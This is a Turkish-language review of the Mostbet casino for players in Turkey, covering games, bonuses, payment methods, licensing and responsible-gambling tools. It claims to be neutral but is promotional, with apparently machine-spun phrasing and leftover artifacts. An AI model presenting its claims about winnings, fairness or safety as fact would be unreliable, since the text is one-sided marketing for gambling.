Mostbet Casino İncelemesi: Türkiye’den Katılanlar İçin Kapsamlı Bir İnceleme

Mostbet Casino İncelemesi: Türkiye’den Katılanlar İçin Kapsamlı Bir İnceleme

Çevrim içi şans oyunları pazarı, Türkiye’de giderek yaygınlaşmaktadır. Artan internet erişimi, telefon ve tablet kullanım oranının artması ve kullanıcıların daha rahat bir eğlence arayışı, dijital casino sitelerinin popülerliğini katlamıştır.Öne çıkan dijital casino platformlarından biri de resmi web sitesi.

Mostbet sitesi, uluslararası alanda hizmet veren deneyimli bir online casino ve bahis markasıdır. 2009 yılında hizmete açılan bu platform, bir anda uluslararası kullanıcı topluluğuna erişmiştir. Türkiye pazarında ise son yıllarda ciddi bir büyüme göstermiştir. Türk katılımcıların platformu tercih etmesindeki ana etkenlerden bazıları: Türkçe dil seçeneği, Türkiye’ye özel ödeme seçenekleri, avantajlı bonus teklifleri ve mobil uygulama uyumluluğu.

Türkiye pazarındaki katılımcılar, sadece eğlenceyi değil aynı zamanda güvenlik, hız ve erişilebilirlik gibi kriterleri de ön planda tutar. Platform, bu ihtiyaçlara doğrudan yanıt vermeyi hedefleyen, bir yapı sunar. Platform, pratik tasarımıyla, hem tecrübeli bahisçileri hem de ilk kez oynayanları rahatça çekecek, bir yapıya sahiptir.

Bu değerlendirmede, Mostbet’in Türkiye pazarındaki durumunu nesnel bir bakışla değerlendireceğiz. Şirketin altyapısı, oyun seçenekleri, mobil deneyimi, bonus kampanyaları ve ödeme sistemleri gibi pek çok önemli başlığı derinlemesine inceleyeceğiz. Üye deneyimleri ve rakip platformlarla karşılaştırmaları da detaylandıracağız.

Vizyonumuz, Mostbet hakkında tarafsızca detaylı ve öğretici bir içerik sunarak, Türkiye’deki kullanıcıların isabetli kararlar vermesine yardımcı olmaktır. Mostbet’i kullanmak istiyor veya merak ediyorsanız, bu kılavuz sizin için ideal.

Mostbet Casino Özellikleri Genel Bakış

Site, 2009 senesinde, bugün, uluslararası alanda, hizmet veren, küresel, çevrim içi casino operatörüdür. Platformun sahibi, Curacao lisanslı, işleten Venson LTD şirketidir. Site, özellikle Avrupa ile Asya ve Bağımsız Devletler Topluluğu bölgesinde, kapsamlı bir üye kitlesine sahiptir. Son yıllarda, Türkiye pazarına yönelimi güçlenmiştir ve Türkiye’deki faaliyetlerini önemli ölçüde büyütmüştür.

Mostbet markasının temel vizyonu, katılımcılara emniyetli, anlık ve eğlenceli bir oyun platformu sağlamayı hedeflemektedir. Zaman içinde, teknolojik altyapısını geliştiren platform, yalnızca casino oyunları sunmakla kalmayıp, ilaveten spor bahisleri, canlı bahis, sanal sporlar ve e-spor konularındaki hizmetleriyle ün salmıştır.

Türkiye’deki konumu, son derece belirgindir. Operatör, Türk kullanıcı kitlesine özel arayüz sunar ve TL üzerinden yatırma-çekme sunar. Ayrıca, Türkçe müşteri desteği sunuluyor, Türk kullanıcılar için tercih nedeni oluşturur. Mostbet’in mobil uygulamaları ve tarayıcı uyumlu mobil sitesi de, dinamik Türk oyuncular için artı bir avantaj sunar.

Üye profiline bakıldığında, Mostbet, hem yeni başlayanlara hem de deneyimli oyunculara hitap eden geniş bir yelpazeye sahiptir. Oyun portföyünün zenginliği, bonus kampanyalarının cazibesi ve min yatırım limitlerinin erişilebilir olması, çeşitli oyuncu gruplarını kendine çekmektedir. Üstelik, sunulan loyalty programları, VIP oyuncular için ek avantajlar sağlayarak üyelerin platforma bağlılığını güçlendirmektedir.

Özetle, Bu platform, global deneyimini Türkiye pazarında başarıyla uygulayan, ve tüm profildeki oyunculara uygun fırsatlar sunan ön plana çıkan bir operatördür. Sağlam altyapısı ile kullanıcı dostu yapısı sayesinde, Türk casino severlerin gözde platformlarından biridir.

Web Sitesi Tasarımı ve UX

Web arayüz, çağdaş kullanıcı tercihlerine yönelik uyarlanmış dönüşümlü ve ulaşılabilir bir yapıya sahiptir. İlk etapta fark edilen şey, arayüz tasarımının basit ve serbest olmasıdır. Hoş geldin sayfasında, kullanıcıyı yormayan bir arayüzle, kilit kampanyalar ve üyelik ve giriş butonları üst kısımda yer alır. Palet, mavi & beyaz tonlarının baskın olduğu bir tasarım felsefesine sahiptir; bu ayrıntı göz yormayan, profesyonel bir profil kazandırır.

Menü yapısı açısından, site hayli başarılıdır. Üst bar bölümünde, “Casino”dan “Bonuslar”a kadar uzanan temel kategoriler, düzgün bir düzenle listelenir. Dolayısıyla, kullanıcılar istedikleri bölüme hızla erişebilir. Sol tarafta yer alan filtreleme seçenekleri sayesinde, oyunlar sağlayıcı, kategori ve popülerliğe göre listelenebilir. Bu da aynı zamanda, kullanıcıların özellikle slot oyunları arasında kolayca gezinebilmelerini sağlar.

Platformun dikkat çeken bir diğer özelliği, çabuk açılan sayfalar ve responsive tasarım sunmasıdır. Portal, hem bilgisayar hem de mobil cihazlarda hız kesmeden çalışır. Sayfa yüklemeleri hızlıdır ve bağlantılar sorunsuzdur. Bu da özellikle, düşük bant genişliğine sahip kullanıcılar için önemli bir faydadır. Tarayıcı testlerinde, site tepki süresi sektörün ortalamasının altındadır.

Üye dostu işlevler arasında, hızlı kayıt yönlendirmesi, her sayfada aktif canlı sohbet butonunun bulunması, ve bireysel panelin basit düzeni öne çıkar. Kullanıcılar yönetim ekranında dağınık menülerle karşılaşmaz,; hesap bakiyesi inceleme, bonus talebi, yatırım işlemi ve oyun geçmişine erişim bir dokunuşla erişilir.

Etkili arama alanı, önemli bir özellik olarak öne çıkar. Aradığınız oyun, sağlayıcı ya da kategori ismini girdiğinizde, birkaç saniye içinde, ara sonuçlarına ulaşırsınız. Ek olarak, etkin kampanyalar da, anasayfa üst kısmında yer almıştır, fazladan çaba harcamaz.

Özetle, web arayüzü, hem veteran casino oyuncuları hem de acemi kullanıcılar için erişim kolaylığı ve kullanıcı odaklı deneyim sağlar. Basitlik, navigasyon rahatlığı ve yüksek performans, platformu Türkiye’de öne çıkaran temel faktörlerden biridir.

Mostbet Üyelik Adımları

{Mostbet platformuna üye olmak isteyen kullanıcılar için kayıt süreci fevkalade basit ve çabuktur. Türk kullanıcıların yabancı olmadığı standart üyelik aşamalarını içeren bu süreç, anlaşılır arayüz sayesinde genellikle saniyeler içinde gerçekleşmektedir. Kayıt formunu görüntüledikten sonra, kullanıcıya iki birincil yol gösterilir: telefon numarası üzerinden kayıt veya mail adresiyle üyelik. Ayrıca bazı ülkelerde, sosyal medya üzerinden hızlı kayıt da aktif edilebilir.

Telefon üzerinden kayıt aşamasında, kullanıcı tarafından aktif mobil numara ve belirlediği para birimi seçeneği istekte bulunulur. Türkiye’den kayıt olan oyuncular için Türk Lirası (TRY) otomatik olarak atanır. E-posta ile kayıt seçeneğinde ise gerçek ad, soyun adı, e-posta adresi, şifre ve ülke bilgileri sunulmalıdır. Tüm bu bilgiler onay işlemi tamamlandıktan sonra, uygulama, site kullanıcısına hesap doğrulama linki veya telefon kodu yollur. Bu adım, hesabı korumak ve sahtekarlığı engellemek için çok önemlidir.

Üyelik adımı tamamlandığında, üye hesabı, faal olur. Kullanıcı, süratle, profiline giriş yaparak, casino oyunlarına ve kampanyalara, kullanabilir. İlk girişteki kullanıcılar için, ana sayfa üzerinden, rehber özelliğinde, uyarı mesajları ve rehberlik, iletirilir. Örnek olarak, para yüklemek isteyen yeni oyuncular, popüler ödeme kanalları ikonlarıyla, gösterilir. Ayrıca, yardım penceresi, de otomatik olarak açılarak, yardıma hazır durumdadır.

Üye deneyimi bakımından, Mostbet’in kayıt ve giriş akışı, son derece başarılıdır. Formlar sade ve anlaşılırdır; fazla bilgi sorulmaz. Cep telefonuyla erişenler için de, aynı performans ve akıcılık devam ettirilmiştir. Akıllı telefondan kayıt formunu dolduracak kullanıcılar, kolaylıkla kayıt adımlarını tamamlayabilirler. Kayıt süreci boyunca kullanıcı, bir sorunla karşılaşırsa, canlı yardım hattı hemen aktif olur ve detaylı yardım sağlar.

Bu aşamada göze çarpan önemli nokta, üye olur olmaz sunulan hoş geldin bonusudur. Hesap açan kişiye, casino ya da spor bahisleri tercihiyle, hoş geldin kampanyasını seçme seçeneği sağlanır. Dolayısıyla, deneyimi çekici ve motive edici kılar. Kısaca, Mostbet’e üye olma işlemi zahmetsiz ve kullanımı kolaydır, ve Türkiye’deki oyuncuların beklentilerini karşılayacak şekilde tasarlanmıştır.

Casino Oyunları ve Sağlayıcı İş Ortakları

Mostbet platformu, zengin oyun portföyüyle, acemi ve tecrübeli bahisçilere yönelik kapsamlı bir casino deneyimidir. Sunulan oyun içerikleri, çeşitli başlıklar altında düzenlenmiş durumda, kullanıcıların dilediği oyunu zahmetsizce bulmasını sağlar. Klasik slotlardan canlı krupiyeli masa oyunlarına, jackpot oyunlardan crash oyunlarına kadar pek çok seçenek mevcuttur.

Çevrim içi slotlar, Platformun en kapsamlı oyun arşivine sahip olduğu oyun kategorisidir. Binlerce çeşitli tema ve tarzda konsept düzeyinde sunulan slot slot oyunları, temiz mekanikleri ve canlı grafiklerle dikkat toplar. 3 makaralı klasik slotların dışında, Megaways, bonus turlu slotlar ve yüksek volatilite slotlar da sitede mevcuttur. Bu yelpaze, çeşitli strateji ve zevklere uygun seçim yapmayı basitleştirir.

Masa oyunu kategorisinde rulet, blackjack, bakara ve poker gibi klasik oyunların hem sanal simülasyonları hem de canlı krupiyeli varyantları vardır. Canlı casino alanında özellikle canlı krupiye ile etkileşim sunan oyunlar, Türk kullanıcılar arasında son derece popülerdir.

Hızlı yükselen oyunlar, yakın zamanda hızla yaygınlaşmıştır. Başta Aviator olmak üzere kolay oynanan ve yüksek kazanç sağlayan oyunlar, mobil oyuncu kitlesi arasında sıkça tercih edilir. Bu içerikler, tempolu kurgusuyla fark yaratır ve az yatırımla yüksek kazanma imkanı sağlar.

Casino kalitesini etkileyen başlıca etkenlerden biri de, yazılım üreticileridir. Mostbet casino, başlıca sağlayıcılarla çözüm ortaklığı kurmuştur. Platformda öne çıkan sağlayıcılar arasında, Pragmatic Play, NetEnt, Microgaming, Evolution Gaming ve Playson sayılabilir. Bu geliştirici firmalar, yüksek grafik kalitesi, düşük takılma oranı ve güvenilir algoritmalar sayesinde, kullanıcı güvenini sağlar.

Buna ek olarak, marka bazlı filtreleme fonksiyonu ile, kullanıcılar, yalnızca istedikleri firmaların içeriklerini görüntüleyebilirler. Örneğin, sadece NetEnt içeriğini incelemek isteyen oyuncu, filtreleme menüsünü kullanarak kolayca erişim sağlayabilir.

Neticede, site, zengin oyun seçenekleri ve güçlü sağlayıcı iş birlikleriyle, Türk oyunculara doyurucu ve çeşitli bir casino deneyimi yaşatır. Oyun keyfi arayanlar ve kazanç peşindekiler için, uygun seçenekler bir arada bulunur.

Canlı Casino Yayınları Deneyimi

Platformun canlı casino sekmesi, gerçek masa deneyimi isteyen kullanıcılar için, özel olarak tasarlanmıştır. Bu bölümün en belirgin avantajlarından biri, canlı krupiye masalarının geniş yelpazesi ve kalitesidir. Canlı krupiyeler tarafından sunulan bu masalar, yüksek çözünürlükte canlı görüntüyle aktarılır ve kullanıcıya evinde otururken casino ambiyansı sunar.

Mostbet’te sunulan oyun seçenekleri arasında, başlıca olarak canlı rulet, blackjack, bakara ve poker çeşitleri yer alır. Bunun yanı sıra, “game show” tarzındaki canlı oyunlar da oldukça popülerdir. Bu grupta, Crazy Time, Dream Catcher ve Monopoly Live gibi hızlı oyunlar çok sevilir. Bu tür oyunlar, mobil kullanıcılar ile genç oyuncular arasında sıkça tercih edilir.

Platformun canlı casino altyapısı, başlıca sağlayıcılar arasında Evolution Gaming, Ezugi ve Pragmatic Play Live yer alır. Bu yazılım şirketleri sayesinde, oyunlar donma olmadan, kesintisiz ve yüksek çözünürlükte yayınlanır. Krupiyeler profesyonel ve deneyimlidir; kuralları detaylı bilir ve oyuncularla nazik bir iletişim yürütürler. Her masada aynı dil olmayabilse de, İngilizce en sık kullanılan dildir. Türkçe masalar şu anda sınırlı sayıdadır, özel kampanyalar sırasında açılabilir.

Oyuncu deneyimi göz önünde bulundurulduğunda, canlı masalar kısmı minimal bir arayüzle çalışır. Kullanıcılar, masa limitlerine, oyun türüne veya sağlayıcıya göre filtreleme yapabilir. Minimum ve maksimum bahis miktarları açık şekilde ifade edilir, böylece her bütçeden oyuncunun uygun masa seçmesini sağlar.

Mobil cihazlara tamamen uyumlu hale getirilen canlı casino bölümü, hem dikey hem yatay ekran modunda sorunsuz çalışır. Bunun sayesinde, mobil kullanımda gerçek zamanlı casino isteyen kullanıcılar için, kayda değer bir avantaj yaratır.

Sonuç olarak, Bu operatörün canlı casino bölümü, kaliteli canlı yayınları, lider yazılım ortakları ve geniş masa seçenekleriyle, Türk bahisçilere doyurucu ve eğlenceli bir oyun deneyimi sunar. Canlı atmosferi ve etkileşim imkanıyla, sadece şansa değil aynı zamanda stratejiye de dayalı oyunlar arayan oyuncuların beklentilerini fazlasıyla karşılar.

Mostbet Cep Mobilite ve Uygulama Deneyimi

Mevcut durumda, mobil cihazlardan çevrim içi casino deneyimi yaşamak, masaüstü platformlar kadar popüler ve tercih edilir duruma gelmiştir. Bu yüzden, Mostbet, mobil deneyimi öncelikli hale getirerek gelişmiş bir erişim altyapısı kurmuştur. Mobil web versiyonu ile uygulama çözümleri, Türk kullanıcılar için hızlı ve kesintisiz bir deneyim sunar.

Mostbet’in mobil web sitesi, masaüstü arayüzle uyumlu bir yapıdadır. Site anında açılır, menüler pratik şekilde düzenlenmiştir ve oyun listelerine ulaşmak zahmetsizdir. Giriş, yeni hesap oluşturma, bakiye yatırma ve bonus etkinleştirme işlemleri, çok hızlı bir şekilde yapılır. Mobil tasarım iOS ve Android’de eksiksiz çalışır ve farklı ekran boyutlarına otomatik olarak uyum sağlar. Bu, özellikle sık seyahat eden ya da bilgisayara erişimi sınırlı olan kullanıcılar için, kayda değer bir avantajdır.

Mostbet ayrıca iOS ve Android için uygulamalar hazırlamıştır. Android uygulaması direkt Mostbet’in resmi sayfasından yüklenebilirken, iOS sürümü App Store’da mevcuttur. Mobil app’ler yalın bir tasarım anlayışıyla hazırlanmıştır ve kullanıcıların tüm casino ve bahis içeriklerine hızlıca ulaşmalarına olanak tanır. App kullanılarak işlemler daha hızlı tamamlanır ve deneyim daha pürüzsüzdür.

Mobil uygulamalar üzerinden canlı casino oyunlarına katılmak, slot makinelerini çalıştırmak, bonusları görüntülemek ve hesap yönetimi yapmak oldukça kolaydır. Mobil yazılım bildirim desteği sağlar; bu yolla oyuncular özel promosyonları ve bonus fırsatlarını hemen fark eder. Bu da üyelerin siteye bağlı kalmasını sağlayan bir etkendir.

Hız ve performans bakımından incelendiğinde, uygulamayı tercih eden oyuncular düşük internet tüketimi ve hızlı yanıt süresinden hoşnut kalır. Bu mobil uygulamalar, düşük bant genişliğinde bile akıcı çalışması için uyarlanmıştır.

Kısaca, Bu platform, mobil oyunculara oldukça kullanışlı ve erişilebilir bir sistem sağlar. Web versiyonu ve mobil uygulama kombinasyonuyla, oyuncular her zaman her yerden rahatça oyun deneyimi yaşayabilir. Bu da Mostbet’i mobil oyuncular için cazip ve rekabetçi bir tercih hâline getirir.

Mostbet Bonusları ve Promosyon Seçenekleri

Bu operatör, bonus kampanyaları ve promosyon teklifleriyle, Türkiye’de tercih edilen seçeneklerden biri haline gelmiştir. Sadece yeni kayıtları hedeflemez, mevcut kullanıcıları da düzenli promosyonlarla motive eder. Bonus içerikleri casino ile bahis seçeneklerini kapsar ve oyuncular diledikleri bölümü seçip bonus kullanabilir.

Yeni üyeler için en öne çıkan fırsat, karşılama kampanyasıdır. Casino bölümüne özel hazırlanan bu teklif çerçevesinde, ilk yatırım işleminde %100 bonus artı ücretsiz dönüş hediyesi sunulur. Bu uygulama, kullanıcıların platforma alışmasını destekler.

Mevcut üyeler de düzenli şekilde çeşitli bonus fırsatlarından yararlanabilir. Bu kampanyalar sadakat amaçlı ya da sınırlı süreli promosyonlar şeklinde düzenlenir. İşte Mostbet’te öne çıkan yaygın bonus ve promosyon fırsatları:

Bonus ve Promosyon Başlıkları:

  • İlk Yatırım Bonusu: İlk bakiye yüklemesine %100 oranında bonus ve free spin hediyesi
  • Free Spin Kampanyaları: Seçili slot oyunlarında günlük ya da haftalık olarak sunulur
  • Depozit Bonusu: Belirlenen günlerde yatırılan tutara %50 oranında bonus tanımlanır
  • Kayıp Bonusu: Belirli oranda kayıplar üzerinden iade alınabilen geri ödeme bonusları
  • Doğum Günü Bonusu: Oyuncuların doğum günlerinde ücretsiz hediye bakiyeler veya dönüşler
  • Turnuva Ödülleri: Turnuva kazananlarına nakit veya puan şeklinde verilen ödüller
  • Arkadaşını Davet Et Bonusu: Arkadaş daveti ile kazanılan ekstra promosyonlar

Bu bonus uygulamaları, hesap sayfasındaki “Bonuslar” bölümünden görülebilir ve her bir kampanya için kurallar ile çevrim detayları net şekilde aktarılır. Bonusların geçerli olabilmesi için genellikle belirli bir minimum yatırım tutarı gerekir ve çevrim şartları süresi içinde yerine getirilmelidir. Mostbet kampanya koşullarını net ve anlaşılır sunar ve oyuncuların promosyonları karıştırmaması için bilgilendirme desteği sunar.

Buna ek olarak, VIP kullanıcılara özel ek promosyonlar ve sadakat seçenekleri aktiftir. Oyuncular site faaliyetlerine göre puan toplayarak daha yüksek bonus haklarına sahip olabilir.

Kısaca, Mostbet’in promosyon portföyü epey zengindir ve Türk oyunculara özel ek kampanyalar sunulur. Bu özellik, Mostbet’in hem yeni kullanıcı hem mevcut oyuncu bağlılığı konusunda başarılı bir model izlediğini ortaya koyar.

Para İşlemleri ve Yatırım Çekim Opsiyonları

Mostbet sitesi, Türkiye’deki kullanıcılar için hızlı, güvenli ve erişilebilir para yatırma ve çekme seçenekleri sunmaktadır. Sistem, banka transferinden e-cüzdanlara uzanan geniş ödeme yelpazesi sunar. Bu opsiyon fazlalığı, her üyenin uygun alternatifi bulmasını sağlar.

ülkedeki casino severler için Türk Lirası (TRY) kullanıma açılması önemli bir avantajdır. Döviz hareketlerinden olumsuz etkilenmeden para transferi yapmak, platform üyelerinin bakiye kontrolünü verimli bir biçimde kontrol etmesini sağlar. Para yatırma işlemleri çoğunlukla derhal gerçekleşir; çekim işlemleri ise tercih edilen yönteme göre çok kısa sürede uygulanır.

Aşağıdaki, Türkiye sınırları içinde ekseriyetle tercih edilen değişik finansal işlem seçeneklerine ile ilgili temel verileri öğrenebilirsin:

Metot Yatırma İşlemi Çekim İşlemi Gerçekleşme Süresi Asgari Tutar
Kart Transferi Sunuluyor Mevcut Değil Anında 50 Türk Lirası
Papara Hesabı Aktif Kullanılabilir 5-30 dk. 100 TL Alt Limit
Kripto Ödemeler (Bitcoin, Ethereum) Kullanılabilir Yer Alıyor 15 dk.-1 saat 250 Türk Lirası
Jeton Hesabı Aktif Var Derhal / 30-60 dakika 50 TL Taban
Banka Havalesi Bulunuyor Mevcut 1 ila 3 saat (iş günü) 200₺
QR Kod Ödeme Aktif Bulunmuyor Çok Hızlı 20₺

Mostbet platformu, farklı periyotlarda, seçilmiş ödeme opsiyonlarına özel teklifler da oluşturur. Bu nedenle yatırım yapmadan önce, mevcut fırsatları takip etmek, kullanıcılar için faydalı olacaktır.

Para alma adımlarında güvenli işlem yapmak amacıyla kimlik kontrol prosedürü aktif edilir. Genellikle ilk kez bakiye çeken bahisçilerin kimlik veya adres doğrulaması zorunlu olabilir. Bu önlem, hem hesapların korunmasını güçlendirmek hem de yetkisiz kullanımı engellemek sebebiyle yaygın bir pratiktir.

Genel değerlendirme olarak, Mostbet, ödeme altyapısı açısından kolay kullanılabilir bir altyapı hizmete açar. Birden fazla yöntemin olması, küçük alt limitler ve süratli transfer süreleri, Mostbet’i Türkiye’deki platform üyeleri için ilgi çekici yapmaktadır.

Güven unsuru, Resmî İzin ve Mahremiyet İlkeleri

İnternet üzerinden casino platformu ararken, kullanıcıların öncelikle baktığı kriterlerin ilk sırasında yasal yetki ve güvenlik unsurları öne çıkarılmaktadır. Mostbet, bu konuda dünya çapında geçerli normlara uygun şekilde etkinlik yürüten, resmî lisanslı bir operatördür. Kullanıcıların ödeme bilgilerini ve özel verilerini güvence altına almak adına ciddi güvenlik önlemleri uygulamaktadır.

Mostbet platformu, Curaçao eGaming belgesiyle etkinlik sunmaktadır. Bu yasal belge, küresel düzeyde kabul gören bir lisans kurumu tarafından verilir ve platformun düzenli olarak incelemeye tabi tutulduğunu kanıtlar. Curacao onayı, özellikle dünya pazarında operasyon yapan lider oyun sitelerinin de kullandığı, legal bir temele referans olur. Mostbet’in elde ettiği bu yetki belgesi, online oyunculara oyunların adil işlediği ve ödemelerin zamanında yapıldığı hakkında kullanıcıya güven sağlar.

Koruma yönüyle, Mostbet web sitesi ve mobil uygulamaları, SSL protokol desteğiyle güvenlik altına alınmaktadır. Bu şifreleme mekanizması, kullanıcı datalarının ve mali bilgilerinin kötü niyetli kullanıcılarca ele geçirilmesini durdurur. İlaveten, bütün mali işlemler şifrelenmiş sunucular aracılığıyla işlenir ve casino kullanıcılarının bilgileri, şüpheli erişimlere karşı ileri düzey firewall çözümleriyle saklanır.

Kişisel veri korunması da, Mostbet casino sisteminin ilk sıradaki hassasiyetlerindendir. Platformun veri gizliliği kuralları, kullanıcı datalarının sadece site performansını yükseltmek amacıyla depolandığını ve kesinlikle harici taraflarla paylaşılmadığını resmî şekilde bildirir. Bu özel veriler, resmî zorunluluklar haricinde açıklanmaz ve reklam ya da pazarlama amacıyla rıza olmaksızın uygulanmaz. Oyuncular, her an kayıtlarını düzenleyebilir veya üyeliklerini sonlandırabilir.

Ek olarak, koruma düzeyinin yükseltilmesi için iki aşamalı doğrulama yöntemi (2FA) kullanıcı tercihine bağlıdır. Bu güvenlik özelliği, giriş yapılırken ilave bir güvenlik kodu zorunlu kılar ve bu sayede şifre çalınsa bile hesap güvenliğini sürdürür.

Neticede, Mostbet, düzenleyici onayı, gelişmiş şifreleme sistemi ve şeffaf veri koruma politikasıyla kullanıcılarına korumalı bir oyun ortamı oluşturur. ülkedeki bahis severler, bu donanımlı güvenlik sistemiyle, rahatlıkla bahis yapabilir, işlem yapabilir ve mahremiyetinin korunduğunu bilerek hizmetlerden faydalanabilir.

Müşteri Yardım Hizmetleri ve Kullanıcı Hizmetleri

Mostbet operatörü, platform deneyimini yalnızca sunulan oyun seçenekleriyle sınırlı tutmayarak, aynı zamanda profesyonel destek yapısıyla da üst düzeye çıkarmayı amaçlamaktadır. Türk kullanıcılar açısından, yardım hizmetlerinin hızlı olması, erişilebilir yapısı ve hızlı çözüm üretmesi çok değerlidir. Bu platform destek tarafında, oldukça kapsamlı ve sistemli bir destek yapısına sahiptir.

Mostbet platformunda oluşabilecek soru veya sorunlar için 7/24 hizmet veren bir yardım departmanı mevcuttur. Müşteri hizmetlerine bağlanmanın en etkili yöntemi, platformun sağ alt köşesinde devamlı çalışan canlı chat aracıdır. Bu live chat servisi, genellikle dakikalar içinde yanıt verir ve ilk etapta problemi giderir. Oyuncular, genel bilgilendirmeden ödeme sorunlarına kadar destek alabilirler.

Destek performansı açısından, Mostbet’in kullanıcı destek ekibi hem alan bilgisine hem de etkili iletişim kabiliyetine barındırır. Türkiye pazarına özel Türkçe iletişim imkânı sunulması, Türk casino kullanıcılarının anlaşma güçlüğü çekmeden sorunsuz iletişim kurmasına yardımcı olur. Ayrıca, yardım ekibi çalışanları, çoğu durumda anlayışlı, uzman ve sakin iletişimleriyle pozitif bir deneyim sunar.

Mobil kullanıcılar için de, destek kanallarına erişmek kolaydır. Telefon tarayıcısı ya da uygulama vasıtasıyla anlık destek kullanılabilir ve masaüstü hizmet kalitesi korunur. Bu da her ortamda yardım talebini mümkün kılar.

Kısaca belirtmek gerekirse, Mostbet müşteri destek birimi, hem anında dönüş kabiliyeti hem de her an ulaşılabilir olmasıyla, Türkiye’deki üyelerin beklentilere yanıt veren bir yapıya sahiptir. Her seviyeden oyuncular için, emniyet hissi oluşturan, etkili çözüm sunan ve devamlı bir destek hizmeti hizmete sunmaktadır.

Mostbet markasının Avantajları ve Dezavantajları

Her çevrim içi casino platformunda olduğu gibi, Mostbet operatörünün de güçlü noktaları olduğu gibi eksik kalan tarafları da mevcuttur. Türk oyuncular için sunduğu servisler genelde basit, detaylı ve güven hissi verir; ancak belli kullanıcılar için önemli sayılabilecek sınırlılıklar da söz konusu olabilir. Bu nedenle bahisçilerin kaydolmadan önce avantajları ve dezavantajları bilmesi kritik bir konudur.

Mostbet platformunun sunduğu servis kalitesi ve altyapı avantajları nedeniyle, Türk bahis severler arasında tercih edilmesi beklenmedik değildir. Bonus programları, çeşitli oyun kategorileri, çeşitli ödeme opsiyonları ve mobil kullanım esnekliği, oyuncuların siteye olan bağlılığını artırmaktadır. Bununla birlikte, kimi durumlarda yaşanan sınırlamalar da eleştirilere yol açabilmektedir.

Takip eden kısımda, Mostbet operatörünün öne çıkan avantaj ve dezavantajları belirtilmiştir:

Avantajlar

  • Zengin oyun seçenekleri: Slotlar, canlı casino, crash türleri, spor bahisleri gibi pek çok seçenek aynı platformda.
  • Curacao lisansı ile düzenlenmiş bir yapı sunması.
  • Türk pazarına uygun ödeme alternatifleri (Papara ve Jeton gibi e-cüzdanlar, banka transferleri).
  • Mobil erişim sağlayan web platformu ve iOS/Android uygulamaları ile dilediğiniz yerden erişim.
  • Yeni kullanıcılar ve aktif üyeler için bonus imkanları.
  • Süratli kayıt aşamaları ve pratik site tasarımı.
  • Anlık destek hizmeti ve Türkçe konuşan destek ekibi.

Olumsuz Yönler:

  • Türkçe canlı krupiye seçeneklerinin çok seçenek sunmaması.
  • İlk çekim süreçlerinde belge onay işlemleri bekleme gerektirebilir.
  • Birtakım oyun tedarikçilerinin Türkiye’den erişilememesi.
  • Promosyon kullanım kuralları bazen anlaşılması güç olabilir.
  • Yardım ekibi zirve saatlerde daha yavaş cevap verebilir.

Genel bir inceleme yapıldığında, Mostbet sitesinin artıları olumsuz yönlerine göre öne çıkmaktadır. yerel kullanıcılar özelinde, Türkiye’ye özgü çözümler ve mobil erişim rahatlığı, kullanıcıların ilgisini artırmaktadır. Ancak daha kişiselleştirilmiş kampanyalar ve Türk kullanıcılar için yerelleştirilmiş içerikler gibi bazı düzenlemeler gerçekleştirilirse, kullanıcı deneyimi daha da iyileştirilebilir.

Sorumlu Oyun Politikası ve Oyuncu Destek Sistemleri

Mostbet casino, yalnızca oyun keyfi yaşatmayı değil, aynı zamanda kullanıcıların psikolojik dengesini de gaye edinen bir sitedir. Bu doğrultuda kullandığı sorumlu oyun yaklaşımı, oyuncuların kontrolü kaybetmeden oyun oynayabilmeleri için bir çok yönlü destek uygulaması sunum yapar. Online kumar sitelerinde yaygın şekilde görülen kontrolsüz oyun davranışlarını önlemek adına site, kullanıcılarına çeşitli yardım ve sınırlandırma araçları hizmete açmaktadır.

Sorumlu oyun yaklaşımı, öncelikli olarak bilgilendirmeyi esas alır. Mostbet, üyelerini, oyunların kontrol edilemez şans unsurlarına dayandığı ve sürekli kazanç sağlamanın garanti olmadığı konusunda belirtir. Oyun sayfalarında, kampanya detaylarının altında ve destek menülerinde ilgili bilgilendirmeler düzenli olarak yer alır. Buna ek olarak, sitede yer alan “Sorumlu Oyun” bölümünde, problemli oyun davranışlarının göstergeleri hakkında kapsamlı bilgiler mevcuttur.

Oyuncu koruma önlemleri içinde en dikkat çekici olanlardan biri, oyun süre ve yatırım sınırı belirleme imkanlarıdır. Kullanıcılar, gerektiğinde hesap ayarlarından oyun zamanı ve yatırım limiti tanımlayabilirler. Belirlenen sınırlar geçildiğinde, sistem otomatik olarak uyarı verir ve ihtiyaç duyulursa hesap erişimi sınırlanabilir. Bu uygulama, özellikle kendi kendini kontrol etmekte zorlanan oyuncular için hayati bir önlemdir.

Ayrıca, casino oyuncuları, diledikleri zaman hesaplarını süreli askıya alma ya da tamamen iptal etme opsiyonuna de imkan tanınır. Bu tür talepler, live chat ya da mail aracılığıyla pratik şekilde gönderilebilir. Mostbet platformu, bu başvuruları gizlilik politikalarına uygun olarak inceleyerek işlem yapar ve kullanıcı tercihini önceleyerek işlem yapar.

Mostbet markası, bağımlılığa yatkın oyuncuları tanımlayabilmek adına, yapay zekâ destekli davranış analiz sistemleri de işletmektedir. Örneğin, yüksek frekanslı bahis işlemleri ya da peş peşe yaşanan yüksek kayıplar, AI modülüyle gözlemlenir ve ihtiyaç duyulduğunda, üyeye bilgilendirme mesajı gönderilir. Bu tür erken uyarı çözümleri, oyun alışkanlıklarının erken aşamada düzenlenmesine destek olur.

Sonuç olarak, Mostbet, sorumlu oyun prensiplerini hayata geçiren ve kullanıcı güvenliğini kazançtan daha önemli sayan bir etki bırakmaktadır. Türkiye pazarındaki üyelerin, sorumlu oyun sistemlerini hızlıca aktive edebilmesi, siteye olan güveni yükselten ciddi bir avantajdır.

Kullanıcı Görüşleri ve Genel Tatmin

Bir bahis sitesinin itibarı, yalnızca sağladığı imkanlarla ölçülmeyip, aynı zamanda kullanıcı tecrübesiyle de anlam kazanır. Mostbet’e dair paylaşımlar ve genel kullanıcı tatmin oranı, platformun Türkiye pazarındaki ve global pazardaki yerini daha net anlamak için önemli veriler sunar. Online tartışma alanları, sosyal medya toplulukları, kullanıcı inceleme siteleri ve video sitelerindeki paylaşımlar, platformun olumlu ve olumsuz yanlarını göstermektedir.

Genel olarak, üyelerin genel memnuniyeti olumlu yöndedir. En çok, oyun kategorisi zenginliği, süratli para çekme süreçleri, mobil uyumluluk ve bonus imkanları gibi konular kullanıcılar tarafından beğenilmektedir. Oyuncular, birçok oyun üreticisinden slot seçenekleri, canlı oyun seçenekleri ve basit platform yapısı sayesinde sitede keyifle vakit geçirdiklerini aktarmaktadır. Yeni başlayanlar da, kayıt sürecinin ve ilk para yatırma işlemlerinin kolayca yapıldığını söylemektedir.

